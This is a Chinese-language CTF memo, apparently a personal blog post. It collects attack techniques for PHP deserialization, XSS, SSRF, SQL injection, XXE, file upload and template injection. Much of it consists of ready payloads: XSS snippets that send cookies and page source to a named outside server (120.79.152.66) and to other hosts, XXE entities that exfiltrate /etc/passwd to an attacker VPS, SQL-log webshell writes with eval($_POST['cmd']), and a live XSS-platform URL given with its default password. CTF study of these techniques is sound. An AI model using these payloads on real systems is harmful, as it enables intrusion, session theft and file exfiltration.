持续更新中的CTF备忘录(持续更新)

  1. My CTF Memo
  2. 各种配置文件位置
    1. nginx配置文件
    2. nginx日志
  3. PHP知识
    1. 异或
    2. 变量命名
    3. 变量覆盖
    4. 代码审计
  4. 反序列化
    1. 常识
    2. 代码审计骚操作
      1. 属性值逃逸
    3. 常见魔法函数
      1. phar通用
    4. Python反序列化
      1. 调用pickle
      2. flask低版本session反序列化
      3. numpy
      4. 相关链接
  5. XSS
    1. 常识
      1. 各种xss标签/属性-poc
      2. dom结构
      3. 编码
        1. unicode
        2. html编码
        3. utf8/utf16/utf32
      4. svg&style
        1. mXSS(突变XSS基础标签)
      5. innerHTML
      6. DOMPurify
      7. DOM Clobbering Attack
    2. 各种标签
      1. js创建标签
      2. a标签
      3. frameset标签
    3. 各种协议
      1. data
    4. XSS平台
    5. 打页面源码
      1. 当前页面
      2. 其他页面
    6. 打cookie
      1. iframe
      2. window.location
      3. image
    7. XHR请求
    8. CSP相关
      1. 查询csp缺陷
      2. window.location
      3. csp限制目录bypass
      4. iframe来bypassCSP
      5. Access-control-allow-origin
    9. XSS绕过
      1. unicode
      2. 浏览器解析
        1. 域名中的点号
        2. 突破双引号限制
  6. SSRF
    1. 常见题型
      1. gopher打mysql
    2. 过滤指定字符串
    3. 常见绕过
      1. host白名单
      2. 指定后缀名绕过(仅限于curl产生的ssrf)
    4. IP地址转换绕过
      1. 常规的思路
      2. 骚姿势
    5. check内网ip段绕过
    6. file协议妙用
      1. arp表
  7. SQL注入
    1. 文档
    2. 基本语句
    3. 盲注语句
      1. 脚本
      2. 布尔盲注
      3. 时间盲注
    4. 报错注入
    5. 堆叠注入(经典union被过滤)
      1. 不用select查询字段值
        1. mysql的预查询
        2. 使用handler
      2. 当set被过滤
    6. 其他函数
    7. Bypass
      1. 过滤了”in”或者”or”
    8. GETSHELL
      1. phpmyadmin日志getshell
      2. GETSHELL总结
    9. MYSQL5.7以后的一些特性
  8. XXE利用
    1. 外部实体常用poc
    2. 参数实体常用poc
    3. 参数实体调用的错误示范
    4. 引入外部dtd文件&OOB-读取本地文件
    5. 引入外部dtd文件&报错回显-读取本地文件
    6. 无需引入外部dtd文件-三层嵌套文件读取
    7. 利用本地xxe来bypass协议不回显的情况
      1. dtd-1
      2. javaweb 的本地xxe
  9. 文件包含
    1. 骚姿势
      1. /proc
      2. /dev-文件读写io
  10. 文件上传
    1. 大致思路
    2. 妙用.htaccess
    3. 妙用.user.ini
    4. php/.写文件
  11. 模版注入
    1. Python-Jinja2引擎
      1. SSTI存在&不存在
      2. 常见攻击流程
      3. 执行多行Python语句
      4. 寻找可RCE的类
      5. 过滤bypass
    2. 相关链接
  12. 文件包含
    1. php伪协议
  13. 命令执行类
    1. 常识
    2. 命令执行Bypass
      1. base64编码
      2. 过滤关键字
      3. 双引号&分号–复杂变量
      4. 单参数过滤-用http头传参绕过
  14. hash长度拓展
  15. Javascript原型链污染
    1. 骚操作-preventExtensions绕过
    2. Javascript原型链知识
      1. constructor-构造函数
      2. prototype-原型
      3. proto
    3. 污染思路
      1. loadsh库<4.17.5的污染
      2. JQuery-$.extend()
      3. ejs和jade的RCE
      4. 不需要原型链污染的ejs-rce
    4. express框架
  16. Javaweb
    1. 反弹SHELL
    2. fastjson攻击
      1. 攻击的两种方式
      2. 挖洞利用
  17. NodeJS相关
    1. 快速启动express框架
    2. npm所有第三方库漏洞
    3. 基本语法
      1. 占位符
    4. url_parse绕过
    5. 查看依赖的漏洞
    6. RCE语句
    7. nodemon-node的debug模式
  18. 综合题型
    1. http请求走私
    2. jwt攻击
    3. python-rce
    4. MYSQL读取客户端文件
    5. 进程文件proc
      1. 常见的进程文件
  19. 常见的过滤bypass
    1. php一句话
      1. 绕过尖括号
      2. 绕过问号限制
      3. 绕过php标签限制
      4. 动态执行函数
    2. 代码执行
      1. 异或getshell
      2. 取反getshell

My CTF Memo

自己比赛过程中使用的笔记,一些基础的知识点整理,如果自己还有机会打比赛会陆续push到这篇文章中

各种配置文件位置

nginx配置文件

常用于查看路由转发,可能把flag藏到哪个路径

/usr/local/nginx/conf/nginx.conf
/etc/nginx/nginx.conf

nginx日志

/var/log/nginx/access.log;
/var/log/nginx/error.log

PHP知识

异或

两个字节可以异或出来不同的字母,然后字符串的异或也是按位进行的,每个字节和对应的字节进行异或然后拼接

image_1dl3pck7o1600130m19djirkkbd1p.png-81.7kB

变量命名

php命名变量支持使用大括号包裹,但是仍然要使用$符号
image_1dnc6tbnmb3u18e4r7320b155e9.png-58.9kB

变量覆盖

通常造成漏洞点就是extract,和$符号的使用。典型的SESSION覆盖例子如下

<?php
    session_start();

    foreach (array_keys($_REQUEST) as $v) {
        $key = $v;
        $$key = $_REQUEST[$v];
    }

poc:index.php?_SESSION[admin]=true

在php中,无论cookie/session/get/post都是一个数组,通过hpp传入一个数组(‘admin’=>true),覆盖各种值。

上面的poc,在变量覆盖的层面表达如下:

$_SESSION = array('admin'=>'true');

代码审计

对于一些PHP文件,可以用P神最近的项目来审:https://phpchip.com/

挖掘动态PHP代码中存在的安全隐患,而且包含了很多函数,对于小型CTF的代码的自动审计来说够用了。

image_1dsgmve7218qm1j5mbchsl03a99.png-37.8kB

反序列化

常识

  • 在反序列化的时候,不会执行__construct里的值
  • 原类中无法控制的private/protected变量,可以自己用构造方法序列化进去
  • php允许动态调用函数,函数名可以是字符串
    image_1di9sfr2g6gpga81h0t12mod9i9.png-61.4kB

如果要在类内动态调用函数,则需要用大括号包裹
image_1di9sjrriems2t1djm40b67d3m.png-154.3kB

  • 找到反序列化的入口很关键
  • 反序列化的时候,php根据长度去读取值,所以双引号不会被转译,如下面的例子,它的a的值长度为8,所以php知道从哪里开始&哪里结束,就没必要转移双引号。
    image_1dmq5jh6dt671mc81i4f1idod1t9.png-202.7kB

代码审计骚操作

属性值逃逸

在常识中提到一点就是php识别value的长度来取值,如果定义的长度大于value的真实长度往后面继续填充字符,直到满足长度。

这里就存在一个问题,如果说我们序列化的内容是某一属性的内容,如果有类似于replace的操作改变属性值的长度,攻击者就可以构造出来一个”长度固定”的内容,里面夹杂着pop链,让php反序列在识别内容的时候到pop链的地方终止,而pop链就可以被反序列化。

具体的一个漏洞分析可以看:Joomla3.4.6-RCE

这个漏洞的核心点就是:传入的username包含\0\0\0,在session_start的时候调用read()进行反序列化,因为username的长度不匹配,就会向后继续填充字段。我们在password构造剩余字段长度+pop链。剩余字段长度用来填充username,然后pop链会被反序列化

常见魔法函数

https://www.anquanke.com/post/id/159206

phar通用

利用条件:

  • 有一个文件上传点,上传白名单的文件,里面是phar序列化的值
  • 能够触发phar的函数,参数要可控
  • 当应用层过滤了phar://时,可以用php://filter/source=phar://xxx绕过

能够触发的函数:

fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize

通用phar文件写法:

<?php 
class someclass{
}

@unlink("hpdoger.phar");
$test = new someclass(); // 实例化要用的类,可以给属性赋值
$phar = new Phar("hpdoger.phar");

$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 增加gif文件头
$phar->setMetadata($test);
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();

rename("hpdoger.phar","hpdoger.gif"); //更改后缀名
?>

Python反序列化

调用pickle

序列化

pickle.dump(文件) 
pickle.dumps(字符串)

反序列化

pickle.load(文件)
pickle.loads(字符串)

flask低版本session反序列化

1.5以下版本的flask处理Session使用的是pickle,所以存在反序列化-rce

numpy

这个函数也存在反序列化漏洞

相关链接

从Balsn CTF pyshv学习python反序列化

Python pickle 反序列化实例分析

XSS

常识

各种xss标签/属性-poc

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

dom结构

取url中”#”后面的字符串

document.location.hash.substr(1)

编码

unicode

javascript支持的unicode格式是:\uxxxx,其中xxxx代表四位16进制数值,通常我们说的a的ascii码为97(10进制表示),转换成unicode(16进制)就是61,缺位补0,最终的效果就是\u0061
image_1dpsb5m4g1tpr1ju810j12q67vi9.png-2.8kB

写一个函数可以转换String->unicode

function str2unicode(char){
    return "\\u" + char.charCodeAt().toString(16).padStart(4,00)
}

str2unicode("a")

在含有javascript语意的地方可以用unicode绕过某些过滤

eval("\u0061\u006c\u0065\u0072\u0074(1)")
=>
eval("alert(1)")

直接在控制台运行\u0061\u006c\u0065\u0072\u0074(1)也一样。es6以后支持使用\u{xxxx}的写法,所以下面两种unicode的表达形式一样:

\u{0061}
\u0061

html编码

&#106=&#0000106

有没有’;’都一样,都是html编码。106是ascii编码值,默认编码格式占7位。浏览器接受html编码的时候,会转换为对应的字符。但是对于<、>、#、&、"这些字符,也有相应的html编码,但是浏览器会把它们解释成实体编码的符号再输出,即&#34;转化&quot;再呈现到页面显示为"

这种情况有时候可以绕过waf,当输出点在Html标签时可以尝试用&#34;,因为是html语境会先进行一次html解码,解释为正常的"

utf8/utf16/utf32

可以绕过xss-auditor,具体看这篇文章:XSS与字符编码(UTF-7, UTF-8, UTF-16, UTF-32

生成对应编码的payload如下:

>>> print(quote(('<script>alert(1)</script>').encode('utf-16')))
%FF%FE%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00%28%001%00%29%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

svg&style

<style>标签中不允许存在子标签(style标签最初的设计理念就不能用来放子标签),如果存在会被当作text解析,这也就是Chrome的Text模式,如下图所示。

image_1ds71a2161dc61kknfq01prg8s6m.png-36.6kB

但是在<svg>标签下,若存在子标签<style>,则<style>标签中的子标签是可以被解析为html正常标签的,如下图。原因就是当你在HTML中打开<svg>时,浏览器的解析规则会发生变化,解析规则趋于XML解析而不是HTML解析

image_1ds71f9af1khd1rl81v3fme812b322.png-41kB

mXSS(突变XSS基础标签)

<svg>的子标签不能存在<p>,因为<p>是svg的非法标签,如果存在则会被当作同级标签处理。我们拿ap来作为子标签比较如下
image_1ds76d021te0165h8jjqbb1nf12s.png-38.9kB

innerHTML

innerHTML跟浏览器的解析规则一样:会自动补全标签

DOMPurify

DOMPurify是防止XSS的前端库,介绍和用法见:https://github.com/cure53/DOMPurify

默认配置下,DOMPurify允许所有标签(<div><svg><p><style><a>)和属性id。所以它不会改变代码中的任何内容。

因此产生了一种bypass方式,利用点:

  • DOMPurify < 2.0.1
  • 页面某处调用两次innerHTML

漏洞原理大致意思:
我们把xss语句放进id属性里,前面跟上<style>标签,并用<svg>标签作为父标签。利用innerHTML的特性:跳出<svg>,这样style标签就会把后面的内容作为text处理,从而把id里面的<img>标签解析为html,payload如下:

<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">

经过Dumpurify清洗之后,不会有任何变化。然后把这个值进行两次innerHTML赋值,就能弹窗了,流程:

第一次innerHTML => <svg><p></p><style><a id="</style><img src=1 onerror=alert(1)>"></a></style></svg> 

第二次innerHTML => <svg></svg><p></p><style><a id="</style><img src="1" onerror="alert(1)">"&gt; #跳出svg,成功弹窗

不懂得可以先一下笔记mXSS,漏洞相关文档:利用突变XSS绕过DOMPurify 2.0.0

第二次innerHTML的时候,svg和p变成了兄弟标签,从而style标签开始text解析模式读到< id="",之后就把img标签解析成html了。

DOM Clobbering Attack

http://d1iv3.me/2018/04/11/DOM-Clobbering-Attack/

id值可以创造window.xxx/全局变量

<img id="hpdoger"> 等价于 window.hpdoger 等价于 hpdoger

name值可以创造document.xxx变量

<img name="hpdoger"> 等价于 document.hpdoger

各种标签

js创建标签

script=document.createElement('script');script.src='//bo0om.ru/csp.js';document.body.appendChild(script);

a标签

可以用autofocus 猫哥给的,感觉不能onload的标签都可以试一下。不过这个需要点击一下才能触发

<a contenteditable onfocus=alert(document.location) autofocus href="aaa">aaaaaaaaaaaaa</a >

还有一个更骚的,利用锚点自动聚焦触发,只需要在url后面加#1

<a onfocus="alert(document.cookie)" id="1" tabindex="0"></a >

image_1dkpti8oq1ab21r101am733omkc9.png-45.1kB

frameset标签

<frameset onpageshow=alert(1)>

各种协议

data

data:text/html

适用于src属性后面,能解析js语句的函数(例如eval,setTimeout)

data:text/html;base64,xxxx

注意点:
1、xxx即恶意payload的base64编码,用console的btoa来编码payload,不要用其它的base64编码

2、还有一种冷门的用法,执行点在charset,前提是需要定义window.text、window.html、window.base64

eval('data:text/html;charset=alert(1);base64,whatever')

这个用法的例子见:https://dee-see.github.io/intigriti/xss/2019/05/02/intigriti-xss-challenge-writeup.html

XSS平台

搭建的蓝莲花xss平台:http://120.79.152.66:8000/admin.php

默认密码:bluelotus

可以导入模版,然后修改地址为自己的平台url,点击生成payload就可以看到js所在路径
image_1diml87oh5dg1iuqed313gu16pc9.png-196.5kB

还可以进行一些编码
image_1diml9qdf1j26gs4knb1tcc9r5m.png-78.1kB

打页面源码

当前页面

<svg/onload="document.location='http://120.79.152.66:8000/?'+btoa(document.body.innerHTML)">

其他页面

<script>
function createXmlHttp() {
    if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest()
    } else {
        var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
        for (var n = 0; n < MSXML.length; n++) {
            try {
                xmlHttp = new ActiveXObject(MSXML[n]);
                break
            } catch(e) {}
        }
    }
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
  if (xmlHttp.readyState == 4) {
        code=escape(xmlHttp.responseText);
        createXmlHttp();
        url = "http://120.79.152.66:8001/?code";   //这里是我们服务器接受的地址
        cc = "htmlcode=" + code +"&filename=hint.html";
        xmlHttp.open("POST", url, true);
        xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlHttp.send(cc)
  }
};
xmlHttp.open("GET", "/hint.html", true);//这块填写获得的后台地址。
xmlHttp.send(null);
</script>

还可以使用fetch这个异步请求捕捉页面。

fetch('/admin.html').then(x => x.text()).then(x => {
    location = 'http://rwx.kr/?d=' + btoa(x);
});

打cookie

iframe

window.location

window.location = 'http://120.79.152.66'+document.cookie

image

new Image().src='http://120.79.152.66/flag='+document.cookie

XHR请求

xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
    }
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=xxx");

CSP相关

查询csp缺陷

复制浏览器返回的csp头,到:https://csp-evaluator.withgoogle.com/,可以查看当前csp的缺陷(比如,忘了设置什么)
image_1dq9cm5f1k7tdjkukd12vuq99.png-81.3kB

window.location

这个东西可以bypass csp,因为他不属于资源

window.location = 'http://120.79.152.66'+document.cookie

可以看总结:https://xz.aliyun.com/t/5084

csp限制目录bypass

image_1dil1li3v1k224l1g3q5cc16v49.png-160.9kB

csp目录限制content="script-src pastebin.com/XYZ/"

但是用这种方法可以跨目录加载到pastebin.com/b0Rajxqk的js文件

具体原理应该是rpo:RPO攻击导致的XSS

iframe来bypassCSP

当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面另一个没有CSP保护B页面

那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,A页面的CSP防护完全失效
image_1dd8b6jsku4c129k14vflmutk5p.png-59.6kB

Access-control-allow-origin

当Access-control-allow-origin指定origin的时候,考虑下面一种情况也可以Bypass CSP(CORS的错误配置):

CSP页面存在缓存记录且“Access-Control-Allow-Origin”已经被设置,但是“Access-Control-Allow-Credentials: true”并且“Vary: Origin”头没有被设置(或者不存在)

可以利用缓存进行XSS->加载远程的JS脚本=>bypass CSP
具体文章可以看这一篇:https://xz.aliyun.com/t/2745#toc-18,未来的CTF很可能有这一方面的考点

XSS绕过

unicode

eval的绕过,通过填充\u0028换行分割符、\u2029段落分隔符

eval('\u2028alert\u2029(1)')

浏览器解析

域名中的点号

%E3%80%82
=> url解码为: "。" 
=>浏览器会把它解释为 "." 
=> bypass "."的限制

还有一种bypass来绕过window.location.host的判断
image_1dtkt6ll71mmvjuh1bg5egq12bq9.png-12.5kB

在域名的后面加”.”号就行了,即treasure.npointer.cn.解析到treasure.npointer.cn

image_1dtkta0tr14jj19pi1shju2n1gg32c.png-9.6kB

突破双引号限制

如果我们因为某个双引号,js报错的话,可以使用注释的方法,注释最后一个正确双引号后的所有内容。

看hitcon2019的例子,这里我们有三个双引号,但是依然可以跳转到https://hpdoger.cn?document.cookie,原因就是后面的·-->可以注释后面的语句,即注释了后面的双引号。

原理就是–>可以被当作注释符号,但必须有\n\r来换行,才能注释。
image_1dneipo85gfdao1v301iq170q9.png-130.7kB

这道题目过滤\n\r,但是ECMA-262标准中,还有其他的换行符

所以unicode中\u{2028}也可用作换行,后端服务器不会解码%E2%80%A8,前端浏览器会把它当作实心点号解析,但其实是换行的标志位。
image_1dnej0u2r1ocr1fnc5f71hu81l33m.png-11.1kB

那么上面的payload最终的形式应该是这样:

https://hpdoger.cn/?"%2beval(atob(`ZG9jdW1lbnQuY29va2ll`))%E2%80%A8-->

SSRF

常见题型

gopher打mysql

前提是:
1、已知mysql的账号密码(大概率通过php文件泄漏的方式)
2、存在ssrf

原理都是利用SSRF拿Gopher协议发送构造好的TCP/IP数据包攻击mysql

相关文章:
https://yinwc.github.io/2018/07/31/Gopher/
https://www.smi1e.top/gopher-ssrf%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8%E5%A4%8D%E7%8E%B0/#GopherMySQL

不去抓本地包再构造,有一个自动生成poc的工具:https://github.com/undefinedd/extract0r-

过滤指定字符串

用unicode编码绕过localhost的限制

LocalHost = localhost = ⓛocaⓛhost 

常见绕过

host白名单

检测host是不是含有白名单如baidu.com,可以用两种方法:

1、data://协议,php不关心MIME类型,所以可以把baidu.com放到MIME类型里

data://baidu.com/plain;base64,xxxxxx

xxx是我们想让服务器解析的明文字符串,以base64的方式编码

2、orange的思路

http://foo@127.0.0.1:80@baidu.com/flag.php

curl请求的是127.0.0.1,而baidu.com是题目的白名单

指定后缀名绕过(仅限于curl产生的ssrf)

例如下面这种情况,指定必须为jpg后缀时,可以用file:///flag.php?.jpg也可以读到/flag.php文件,详情见文章:浅析SSRF与文件读取的一些小特性

<?php
var_dump(ini_get('allow_url_fopen'));
$url = $_POST['url'];
$url = $url . '.jpg';
var_dump($url);

if(function_exists('curl_init') && function_exists('curl_exec')){
    $ch = curl_init($url);
    $data = '';
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $data = curl_exec($ch);
    curl_close($ch);
    var_dump($data);
}
?>

IP地址转换绕过

常规的思路

数字地址(十进制):127.0.0.1->2130706433
十六进制:127.0.0.1->0x7F000001或0x7F.00.00.01或0x7F.0x00.0x00.0x01
八进制: 127.0.0.1->0177.0.0.1或0177.00.00.01
省略写法:127.0.0.1->127.1

或者利用xio.io

127.0.0.1.xip.io
www.127.0.0.1.xip.io
xxx.127.0.0.1.xip.io
fuzz.xxx.127.0.0.1.xip.io

骚姿势

之前在吐司学的一招实战用:如果302跳转(准确的说是http协议)禁用IPV4的规则传入,可以用IPV6绕过:

http://[::ffff:127.0.0.1]/
也可以缩写成 http://[::1]/

check内网ip段绕过

php过滤代码如下

    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 

用ip2long和parse_url来check请求是否包含内网ip段,则可以用以下方法绕过

1. http://0.0.0.0/flag.php
2. http://foo@127.0.0.1:80@baidu.com/flag.php
3. http://%5B::%5D:22/

第一种是对于0.0.0.0掩码绕过
第二种白名单是baidu.com,黑名单是127x网段
第三种是绕过主机名探测,用[::]替代127.0.0.1

file协议妙用

我们可以通过 file:///proc/self/cwd/index.php 获得index.php文件。在linux中,每个进程都有一个PID,而/proc/xxx/下存放着与该进程相关的信息(这里的xxx就是PID)。/proc/xxx/下的cwd是软链接,self表示本进程。当我们通过访问Apache运行的网站时,/proc/self/cwd/就相当于apache的根目录,例如我本机Apache的根目录是/var/www/html

image_1ddqj7884117n43j19vu1rgn347p.png-54.3kB

arp表

proc/net/arp

SQL注入

文档

sql语句查询mysql操作日志:http://www.cnblogs.com/jhin-wxy/p/8965888.html

mysql5.7文档:https://dev.mysql.com/doc/

基本语句

  • 查询所有的数据库:
    select group_concat(schema_name) from  information_schema.schemata
  • 查询数据表:
    select group_concat(table_name) from  information_schema.tables where table_schema = database()
  • 查询字段:
    select group_concat(column_name) from  information_schema.columns where table_name = 'user'

盲注语句

脚本

可以用python3的模块string打印所有字母和符号

import string

for c in string.printable

布尔盲注

and ascii(substr(database(),1,1))>?

时间盲注

五种造成延时的方法:MySQL时间盲注五种延时方法

推荐sleep、benchmark

image_1dgk48rf11ka11ehqo7b6hl8eu19.png-33kB

配合if使用效果极佳

if(expr1,expr2,sleep(10))

如果 expr1 为真,则if函数执行expr2语句; 否则执行sleep语句。

报错注入

updatexml()这个报错函数真的太强了,首先你要了解Xpath。在Mysql中使用了一下这个函数,发现当XPath 使用路径表达式不符合规范时,就会报错,而报错的内容就非常神奇了。下面贴一张报错内容和语法:

or updatexml(1,concat(0x7e,database()),1)

报错注入的姿势有很多,po一个写了十种报错函数的帖子

堆叠注入(经典union被过滤)

PHP中如果使用PDO的连接形式则可能产生堆叠注入

$con = "mysql:host=localhost;port=3306;dbname=acg";
$conn = new PDO($con, 'root', 'nihao123');

不用select查询字段值

前提条件是允许执行多条sql语句(即multi模式)

mysql的预查询

用SET方法设置一个全局变量值为”select xxx from xx”,再用预编译执行这个全局变量

SET+@hpdoger=concat(char(115,101,108,101,99,116,32),char(102,108,97,103,32),char(102,114,111,109,32),char(96),1919810931114514,char(96));prepare+hpdoger+from+@hpdoger;execute+hpdoger;#

SET @SQL=0x494E5345525420494E544F206D6F76696520286E616D652C20636F6E74656E74292056414C55455320282761616161272C27616161612729;PREPARE pord FROM @SQL;EXECUTE pord;

此时全局变量@hpdoger的值就是

select flag from xxxx;

image_1ds4s6841ke71dm0ord1e8t14uf9.png-60.2kB

后面用预编译执行全局变量是因为:想要执行全局变量的前提是有Select语句,但是预编译就不需要,即我们可以用EXECUTE来执行

使用handler

https://dev.mysql.com/doc/refman/8.0/en/handler.html

当set被过滤

上面提到的是用SET @hpdoger来设置变量,如果select没被过滤的话,还可以用select @hpdoger:=0x巴拉巴拉来设置变量,详情见:https://blog.csdn.net/JesseYoung/article/details/40779631

所以上面的预处理语句还可以转换成下面的用法:

select @hpdoger:=0x73656c656374202a2066726f6d2075736572;PREPARE pord FROM @hpdoger;EXECUTE pord;

image_1ds4tb8gk1kpe1m1matr9um1bfsm.png-78.1kB

其他函数

Bypass

过滤了”in”或者”or”

查库名可以用一种新的方式,但是会显示所有存在数据的表名

select table_schema from sys.x$schema_flattened_keys;

查所有的数据表

select table_name from sys.schema_table_statistics limit 0,5;

image_1du2onu9nvd33131qsq18fftfh9.png-44.9kB

GETSHELL

phpmyadmin日志getshell

  1. 使用url报错爆出绝对路径,再尝试用sql写shell
    /phpMyAdmin/index.php?lang[]=1

2.查general_log的路径,与是否开启日志记录功能

SHOW+GLOBAL+VARIABLES+LIKE+'general_log%'
  1. 接着执行sql语句,木马就是日志文件
    SET GLOBAL general_log='on';
    SET GLOBAL general_log_file='C:/phpStudy/www/xxx.php'; # 可自定义
    SELECT '<?php eval($_POST["cmd"]);?>';

GETSHELL总结

https://xz.aliyun.com/t/2460

MYSQL5.7以后的一些特性

增加了很多报错函数

ST_LatFromGeoHash()ST_LongFromGeoHash()GTID_SUBSET()GTID_SUBTRACT()ST_PointFromGeoHash()
mysql> select ST_LatFromGeoHash(version());

information_schema被过滤掉的话,可以用Innob来绕过

XXE利用

外部实体常用poc

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY  file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

参数实体常用poc

外部引入参数实体的例子:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
]>

参数实体调用的错误示范

第一种,错误原因:XML解析器都不会解析同级参数实体的内容

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % files SYSTEM "file:///etc/passwd">  
    <!ENTITY % send SYSTEM "http://myip/?a=%files;"> 
    %send;
]>

第二种虽然不同级,但直接请求也会发生错误。错误原因:禁止在内部ENTITY中引用参数实体,但是支持在外部声明的dtd中引入,因此我们可以把下面的payload作为外部dtd文件使用

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">  
    <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
    %start;
    %send;
]>

引入外部dtd文件&OOB-读取本地文件

直接发起的xxe请求如下,或者以xml文件的形式放在vps(前提XXE可以解析这个xml文件)

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % send SYSTEM 'http://your_vps/test2.dtd'>

%send;
%test;
%back;
]>

vps上的外部DTD声明文件test2.dtd如下,读取文件并发送请求ood到自己的vps:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">

<!ENTITY % test "<!ENTITY &#37; back SYSTEM 'http://your_vps/?file=%file;'>">

引入外部dtd文件&报错回显-读取本地文件

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。

所以和OOB的构造方式几乎只有url出不同,其他地方一模一样。

image_1def8qqag1frb1pfu1ghq1lkvbhf9.png-81.8kB

无需引入外部dtd文件-三层嵌套文件读取

W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">  
    <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
    %start;
    %send;
]>
<message>10</message>

但是对于三层嵌套参数实体构造的payload有些XML解析器是无法检测出来的,比如我本次测试的两种组合php7.2 + libxml2 2.9.4版本和php5.4 + libxml2 2.9.1都是可以有效利用的

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % para '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %para;
]>
<message>10</message>

这意味着,无需引用外部dtd也可以实现Blind XXE。

利用本地xxe来bypass协议不回显的情况

https://xz.aliyun.com/t/5503

https://www.jishuwen.com/d/2EGU

dtd-1

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;send;
    '> 
    %remote;
]>

javaweb 的本地xxe

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///FILE_TO_READ">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message></message>

文件包含

骚姿势

/proc

见SSRF-File协议妙用

/dev-文件读写io

当一个文件被打开时,此时/dev/fd下就存在读写的文件描述符,通过include就能把文件读出来。具体见下面的场景

<?php
  $fp = fopen("/tmp/flag.txt", "r");
  if($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['include']) && strlen($_GET['include']) <= 10) {
    include($_GET['include']);
  }
  fclose($fp);
  echo highlight_file(__FILE__, true);
?>

解法:include=/dev/fd/11,描述符不一定是11,可能是4-x中的任意数字

文件上传

大致思路

1、改content-type?
2、是否存在解析漏洞 .php.xxx
3、是否可以上传其它能解析的后缀?
4、存在二次渲染漏洞?imagecreatfrompng
5、apache2.4是否存在0a换行绕过?
6、htaccess、.user.ini是否可以上传?

妙用.htaccess

有个.htaccess所有用法合集:PHP htaccess injection cheat sheet

apache中的.htaccess

将同目录下的jpg解析为php,文件内容如下

AddType application/x-httpd-php .jpg

妙用.user.ini

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。

当一个文件夹下有php

php_value auto_prepend_file = f13g.php

php/.写文件

后缀给php/.,在函数操作的时候也可以存为php
image_1dikffg1ciuv185fg3v17661m9vp.png-83.5kB

目前测试copy、file_get_contents都可以

模版注入

Python-Jinja2引擎

SSTI存在&不存在

后端如果使用request.url,则会把传递的参数编码,而request.args.get依然存在SSTi的问题。

常见攻击流程

入门引导:https://xz.aliyun.com/t/3679

